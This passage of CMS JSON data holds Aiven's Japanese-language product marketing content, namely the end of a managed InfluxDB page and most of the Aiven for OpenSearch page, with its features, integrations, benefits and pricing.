},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-8ad987ee81a7041d089d72429f5402905db0229d-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"d51912ba8b1f","_type":"block","children":[{"_key":"dd3b564d178f0","_type":"span","marks":[],"text":"10分でフルマネージドInfluxDBノードの稼働完了"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7c835f8b926e","_type":"block","children":[{"_key":"a9b962dbf1860","_type":"span","marks":[],"text":"5つのパブリッククラウドと20以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"64b36509a037","_type":"block","children":[{"_key":"144d5590aaca","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"e73df29b2a031","_type":"span","marks":["48ada047ffbb"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"e73df29b2a032","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"48ada047ffbb","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-33ed4f3c9bc9c8272cda5d6f71c00fa9e89bae80-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"89e2efd85165","_type":"block","children":[{"_key":"31275e61ba720","_type":"span","marks":["70fefaaeba92"],"text":"Aiven for Grafana®のデータソースとして統合"},{"_key":"31275e61ba721","_type":"span","marks":[],"text":"し、可視化に利用可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"70fefaaeba92","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"8bf99cb524fc","_type":"block","children":[{"_key":"3d531b14f2270","_type":"span","marks":["761d0b0cf516"],"text":"VPC peering"},{"_key":"3d531b14f2271","_type":"span","marks":[],"text":"、"},{"_key":"3d531b14f2272","_type":"span","marks":["fc2e9ba51dbc"],"text":"PrivateLink"},{"_key":"3d531b14f2273","_type":"span","marks":[],"text":"またはTransitGatewayテクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"761d0b0cf516","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"fc2e9ba51dbc","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"c72aa1daedd3","_type":"block","children":[{"_key":"9f14ab3a35c40","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"a7cfe0759cc9","_type":"span","marks":["efc602325ffd"],"text":"統合"},{"_key":"ff94af180cc8","_type":"span","marks":[],"text":"したり、Aivenの可観測性ツールを使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"efc602325ffd","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"8772ff2c47cb","_type":"block","children":[{"_key":"c92e842a50aa0","_type":"span","marks":[],"text":"Aivenの他のサービスから指標を受け取り、事前構築済みダッシュボードで健全性を監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"b24104dac22d","_type":"block","children":[{"_key":"601fb2284d7a0","_type":"span","marks":[],"text":"Aiven Console (GUI) 、CLI、または"},{"_key":"601fb2284d7a1","_type":"span","marks":["53ad366d645b"],"text":"Terraform"},{"_key":"601fb2284d7a2","_type":"span","marks":[],"text":"ツールを使用してInfluxDBクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"53ad366d645b","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"c2fa3eead0d4","_type":"block","children":[{"_key":"e65c778993b00","_type":"span","marks":[],"text":"数クリックだけで、スケールアップ、データベースのフォーク、他サービスとの統合を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"773d40657cb4","_type":"block","children":[{"_key":"23fc76ce26f50","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7d2ee8a58097","_type":"block","children":[{"_key":"f969b82f07090","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"2615bedce7d0","_type":"block","children":[{"_key":"76ca754347dd0","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b5c0fa68cc21","_type":"block","children":[{"_key":"62af815ae1890","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b3901bcf61cc","_type":"block","children":[{"_key":"5a3686c34ae00","_type":"span","marks":[],"text":"プランに応じて12時間ごとに自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f27c3dab128a","_type":"block","children":[{"_key":"f0e2aedd9e870","_type":"span","marks":["adbb1d41b0c3"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"db38931dadba","_type":"span","marks":[],"text":" — ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"adbb1d41b0c3","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"66e3dd0db081","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"99cacaa0a82a","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for InfluxDB - フルマネージドの時系列データベース ✓ オールインワンのオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-981d7b2370a5cbfc961811d81886f8044609812d-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for InfluxDB®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドInfluxDB、InfluxDB as a Servce、クラウドInfluxDB\",\n \"description\": \"Aiven for InfluxDBは、Google Cloud Platform、Amazon Web Services、Microsoft Azure、DigitalOcean、UpCloud上で1秒間に数十万件のデータをインジェストできる高性能な時系列データベースです。\",\n \"featureList\": \"Terraform対応、Aiven for Grafanaによる自動設定、REST API、コマンドラインツーリング、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/influxdb\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースの時系列データベース\",\n \"applicationSubCategory\": \"NoSQLデータベース\"\n}","metaTitle":"AivenがホスティングするInfluxDB TSDBサービス"},"service":{"_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},"slug":{"_type":"slug","current":"/influxdb"},"title":"[DON'T USE SUNSET] InfluxDB"} {"__i18n_base":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-05-26T13:50:00Z","_id":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_rev":"YZDTfZCd9Sx4xq41jfQGlF","_type":"product","_updatedAt":"2024-03-12T04:53:49Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for OpenSearch®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"3543d8bc5882","_type":"block","children":[{"_key":"f68904d59ee60","_type":"span","marks":[],"text":"OpenSearchは、データを可視化するための高度なプラグインやダッシュボードの豊富なセットを備えたフルマネージドサービスとして、ご希望のクラウドに簡単にデプロイすることができます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b-1600x1194-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/opensearch","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for OpenSearch®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"},"title":"Aiven for OpenSearch®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for OpenSearch®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"a83b8b8e1d7e","_type":"block","children":[{"_key":"87c82e18cbb10","_type":"span","marks":["strong"],"text":"OpenSearch®で真のオープンソースの検索と分析を導入"}],"markDefs":[],"style":"h3"},{"_key":"7bc28d8e080a","_type":"block","children":[{"_key":"7bb5355c58850","_type":"span","marks":[],"text":"Aiven for OpenSearch®は、お好みのクラウドでデプロイ可能なフルマネージド分散型検索・分析スイートです。ログ管理、アプリケーションやウェブサイトの検索、分析的な集計などに最適です。OpenSearchは、Elasticsearchから派生したオープンソースのフォークです。"}],"markDefs":[],"style":"normal"},{"_key":"905f1a61e359","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"339d2fb9082e","_type":"block","children":[{"_key":"bf49261745ae0","_type":"span","marks":["49d3121274f3"],"text":"Aiven for OpenSearch入門(ドキュメント) "}],"markDefs":[{"_key":"49d3121274f3","_type":"link","href":"https://aiven.io/docs/products/opensearch/get-started"}],"style":"normal"},{"_key":"5cea451159f2","_type":"block","children":[{"_key":"bf49261745ae2","_type":"span","marks":["916b6cd60007"],"text":"OpenSearchとは(ブログ"},{"_key":"72c6d4dfca2f","_type":"span","marks":[],"text":") "}],"markDefs":[{"_key":"916b6cd60007","_type":"internalLink","internalLink":{"_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"}}],"style":"normal"},{"_key":"f2050acacf3f","_type":"block","children":[{"_key":"bf49261745ae5","_type":"span","marks":["7b45178cf577"],"text":"ElasticsearchからOpenSearchへの移行(ブログ)"}],"markDefs":[{"_key":"7b45178cf577","_type":"internalLink","internalLink":{"_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"49faef3a8193","_type":"block","children":[{"_key":"8e155a1084c10","_type":"span","marks":["strong"],"text":"Apache Kafka® とApache Flink® からOpenSearchにデータをプッシュ"}],"markDefs":[],"style":"h3"},{"_key":"dca52c80176f","_type":"block","children":[{"_key":"96967cec50fd0","_type":"span","marks":[],"text":"Aiven for Apache KafkaとApache Flink間のフルマネージドのコネクタを使用して、OpenSearchをストリーミングデータパイプラインに簡単に接続し、分析や可視化を行うことができます。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"97b41a48c5d0","_type":"block","children":[{"_key":"42473bfe887c0","_type":"span","marks":["7fe53d6407ad"],"text":"OpenSearchシンクコネクタを作る(ドキュメント) "}],"markDefs":[{"_key":"7fe53d6407ad","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink"}],"style":"normal"},{"_key":"91a1fde73e3f","_type":"block","children":[{"_key":"42473bfe887c2","_type":"span","marks":["f9594fded89d"],"text":"OpenSearchベースのApache Flinkテーブルを作る(ドキュメント) "}],"markDefs":[{"_key":"f9594fded89d","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/connect-opensearch"}],"style":"normal"},{"_key":"dcb62e192b30","_type":"block","children":[{"_key":"42473bfe887c4","_type":"span","marks":["45dac001af87"],"text":"Aiven for Apache Flink入門(ドキュメント) "}],"markDefs":[{"_key":"45dac001af87","_type":"link","href":"https://docs.aiven.io/docs/products/flink/getting-started"}],"style":"normal"},{"_key":"4ded4da574c8","_type":"block","children":[{"_key":"42473bfe887c6","_type":"span","marks":["2d402e187559"],"text":"Aiven for Apache Kafka入門(ドキュメント)"}],"markDefs":[{"_key":"2d402e187559","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/getting-started"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"931d8bba9fcd","_type":"block","children":[{"_key":"e80bb193e2390","_type":"span","marks":["strong"],"text":"Aivenの全サービスからOpenSearchにログをプッシュ"}],"markDefs":[],"style":"h3"},{"_key":"b2e9c088d3f5","_type":"block","children":[{"_key":"a24fede1df630","_type":"span","marks":[],"text":"OpenSearchでログを大規模に保存、検索、分析します。内蔵の統合機能を使用して他のAivenサービスからログを受信し、OpenSearchダッシュボードを使用してログをすばやく検索してトラブルシューティングできます。"}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"986ff8a8bb17","_type":"block","children":[{"_key":"d36ecada44d70","_type":"span","marks":["485f915049e8"],"text":"OpenSearchログ統合の管理(ドキュメント)"}],"markDefs":[{"_key":"485f915049e8","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/howto/opensearch-log-integration"}],"style":"normal"},{"_key":"ff8eb0c3daf2","_type":"block","children":[{"_key":"d36ecada44d72","_type":"span","marks":["6853698d214a"],"text":"OpenSearchのログ統合を有効にする方法(動画)"}],"markDefs":[{"_key":"6853698d214a","_type":"link","href":"https://www.youtube.com/watch?v=f4y9nPadO-M"}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"4f21cf7ecec0","_type":"block","children":[{"_key":"2f1464c747fa0","_type":"span","marks":[],"text":"Grafana®へのソースとしてOpenSearchを使用してデータの全体像を把握"}],"markDefs":[],"style":"h3"},{"_key":"47294619d08c","_type":"block","children":[{"_key":"014fa9aa39090","_type":"span","marks":[],"text":"Grafanaを簡単に追加し、すべて(例えばM3から)のメトリクスと(OpenSearchからの)ログのための単一の可視化と監視ダッシュボードをセットアップします。"}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"56916a9c6c8c","_type":"block","children":[{"_key":"2f7d713a59990","_type":"span","marks":["90496b7ae969"],"text":"Aiven for Grafanaとは(ドキュメント)"}],"markDefs":[{"_key":"90496b7ae969","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"1656037d0276","_type":"block","children":[{"_key":"2f7d713a59992","_type":"span","marks":["1bf24bdbacfe"],"text":"Grafana入門(ドキュメント)"}],"markDefs":[{"_key":"1bf24bdbacfe","_type":"link","href":"https://docs.aiven.io/docs/products/grafana/get-started"}],"style":"normal"}]},{"_key":"b66441d94eb4","_type":"textItem","content":[{"_key":"8653e96d4046","_type":"block","children":[{"_key":"6e1772228b5f0","_type":"span","marks":["strong"],"text":"お気に入りの外部ロギング・監視ツールとの連携"}],"markDefs":[],"style":"h3"},{"_key":"454f9db904f3","_type":"block","children":[{"_key":"4625c89fc1800","_type":"span","marks":[],"text":"Datadog、Prometheus、AWS CloudWatch、Elasticsearchなどの使い慣れたツールと簡単に統合できます。また、Aiven for M3、Aiven for Grafana、Aiven for OpenSearchを使って、監視やロギングを強化することもできます。サーバやサービス固有のメトリクスを外部エンドポイントに公開し、OpenSearchクラスターの健全性を監視します。"}],"markDefs":[],"style":"normal"},{"_key":"92c058b43ced","_type":"block","children":[{"_key":"f52de866f55b0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"53c6235bf6d6","_type":"block","children":[{"_key":"19a02afa14190","_type":"span","marks":["643f3d94e45f"],"text":"OpenSearchログ統合の管理(ドキュメント) "}],"markDefs":[{"_key":"643f3d94e45f","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/howto/opensearch-log-integration"}],"style":"normal"},{"_key":"4ac6708b37cd","_type":"block","children":[{"_key":"19a02afa14192","_type":"span","marks":["731ebd47d0e3"],"text":"Datadog入門(ドキュメント)"}],"markDefs":[{"_key":"731ebd47d0e3","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog"}],"style":"normal"},{"_key":"f0a823a8b487","_type":"block","children":[{"_key":"19a02afa14194","_type":"span","marks":["649cdc8dcd23"],"text":"Rsyslogプロトコル - 外部監視システムとの統合(ドキュメント)"}],"markDefs":[{"_key":"649cdc8dcd23","_type":"link","href":"https://help.aiven.io/en/articles/2933115-remote-syslog-integration"}],"style":"normal"},{"_key":"3654b95dadca","_type":"block","children":[{"_key":"19a02afa14196","_type":"span","marks":["712f6b664da6"],"text":"すべての統合とコネクタを見る(Webページ)"}],"markDefs":[{"_key":"712f6b664da6","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}]},{"_key":"35e7f7792fe0","_type":"textItem","content":[{"_key":"c7f5c5fcdaa5","_type":"block","children":[{"_key":"6e3234a880120","_type":"span","marks":["strong"],"text":"OpenSearchダッシュボードでデータを分析、可視化"}],"markDefs":[],"style":"h3"},{"_key":"5da1b853dddf","_type":"block","children":[{"_key":"5603a2826dcc0","_type":"span","marks":[],"text":"OpenSearchダッシュボードは、データ可視化ツールであると同時に、OpenSearchプラグインのためのユーザーインターフェースでもあります。Aiven for OpenSearch® に含まれるプラグインには、OpenSearch専用の拡張機能が含まれています。"}],"markDefs":[],"style":"normal"},{"_key":"ef4aef9333d0","_type":"block","children":[{"_key":"ef001e2f2cf50","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"a3edb6dc7e6d","_type":"block","children":[{"_key":"6afb019079e10","_type":"span","marks":["a0bc37ce97c4"],"text":"OpenSearch Dashboards入門(ドキュメント)"}],"markDefs":[{"_key":"a0bc37ce97c4","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/dashboards"}],"style":"normal"},{"_key":"21b00d9e233c","_type":"block","children":[{"_key":"6afb019079e12","_type":"span","marks":["7d80e67987f4"],"text":"OpenSearchプラグイン(ドキュメント)"}],"markDefs":[{"_key":"7d80e67987f4","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/reference/plugins"}],"style":"normal"},{"_key":"a45d6deaa16f","_type":"block","children":[{"_key":"6afb019079e14","_type":"span","marks":["3ddd314be989"],"text":"ElasticsearchからOpenSearchへの移行(ブログ)"}],"markDefs":[{"_key":"3ddd314be989","_type":"internalLink","internalLink":{"_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"1af5bd9ed5fe","_type":"block","children":[{"_key":"d74be31d037c0","_type":"span","marks":[],"text":"OpenSearchはElasticsearchに代わる真のオープンソースです。Aivenでは、直感的なWebコンソールから直接、またはAPI、CLI、Terraformプロバイダーからコードを使用して、10分以内にフルマネージドのOpenSearchクラスタをセットアップすることが可能です。ビルトインのOpenSearchダッシュボードで検索結果や分析結果を可視化し、サービス統合によりログやメトリクスを簡単に利用できるため、安心してセットアップを行うことができます。\n"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for OpenSearchでできること","tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"2040906943dd","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"opensearch"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"041ff3534ef9","_type":"block","children":[{"_key":"8d5b15a29fe10","_type":"span","marks":[],"text":"Elasticsearch 7.10.2とKibana 7.10.2からフォークされたAiven for OpenSearchは、すぐに使いこなすことができる真にオープンな検索・分析スイートです。"}],"markDefs":[],"style":"normal"}],"title":"Elasticsearchに代わるオープンソースの検索ツール"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5dc3d49fa87c","_type":"block","children":[{"_key":"a19faf3126f70","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f0f566427ca8","_type":"block","children":[{"_key":"36f2d7715b500","_type":"span","marks":[],"text":"ストレージ容量を増やす、ノードを増やす、新しいクラスタを作成する、新しいリージョンを拡張する等、Aiven for OpenSearchではかつてないほど簡単に実現できます。"}],"markDefs":[],"style":"normal"}],"title":"必要に応じてスケールアップ、スケールダウンが可能"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aivenは、SQLサポート、異常検出、音声分析などの強力な拡張機能セットをデフォルトで提供します。"}],"markDefs":[],"style":"normal"}],"title":"豊富な拡張機能"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"1fc63b301670","_type":"block","children":[{"_key":"18259d609eee0","_type":"span","marks":[],"text":"AivenがホスティングするフルマネージドのOpenSearchは、クラスターの設定、新規ノードの導入、クラウドの移行、データベースのフォークをワンクリックで実行でき、OpenSearchダッシュボードですべてを監視することができます。"}],"markDefs":[],"style":"normal"},{"_key":"9d3f8fcf4d75","_type":"block","children":[{"_key":"89e355df179d0","_type":"span","marks":[],"text":"マルチクラウドに対応し、ベンダーロックインのないAivenの他のオープンソースサービスをデプロイして接続することで、OpenSearchの豊富な検索分析機能を最大限に活用できます。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for OpenSearch®サービスのメリット","variant":"header-left"},{"_key":"a7e986acc25f","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"aae73518553c","_type":"cardItem","subtitle":[{"_key":"4ba9a905d3ef","_type":"block","children":[{"_key":"a5b1a5e75f7f0","_type":"span","marks":[],"text":"OpenSearchでログを大規模に保存、検索、分析します。内蔵の統合機能を使用して他のAivenサービスからログを受信したり、BeatsからLogstashまで豊富なツールのエコシステムを利用して外部ソリューションからログを取得することができます。OpenSearchダッシュボードでリッチなダッシュボードと分析を作成します。"}],"markDefs":[],"style":"normal"}],"title":"ログ管理","variant":"default"},{"_key":"933290cccacf","_type":"cardItem","subtitle":[{"_key":"e3a5ded82031","_type":"block","children":[{"_key":"6edfe26c03010","_type":"span","marks":[],"text":"全文検索は、OpenSearchの中核となる機能の1つです。オートコンプリート、「検索サジェスト(Did you mean)」などの機能を内蔵した強力で柔軟な検索エンジンで、エンタープライズアプリケーション、Webサイト、eコマースの検索機能を強化できます。"}],"markDefs":[],"style":"normal"}],"title":"検索","variant":"default"},{"_key":"0ed315473e1d","_type":"cardItem","subtitle":[{"_key":"512b4ad56fe6","_type":"block","children":[{"_key":"455ef9238c5f0","_type":"span","marks":[],"text":"集約では、OpenSearchの分析エンジンを利用して、データを分析し、統計情報を抽出することができます。データをリアルタイムで分析したり、OpenSearchダッシュボードを使用して可視化することができます。OpenSearchは、膨大なデータセットに対して数ミリ秒で集計を実行します。"}],"markDefs":[],"style":"normal"}],"title":"分析","variant":"default"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるOpenSearchの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=opensearch","title":"プランを見る"},"subtitle":[{"_key":"f9aad469355f","_type":"block","children":[{"_key":"fa8437658ced0","_type":"span","marks":[],"text":"月額19ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"d7200f050907","_type":"block","children":[{"_key":"36baeb4539a70","_type":"span","marks":[],"text":"月額にはすべてが含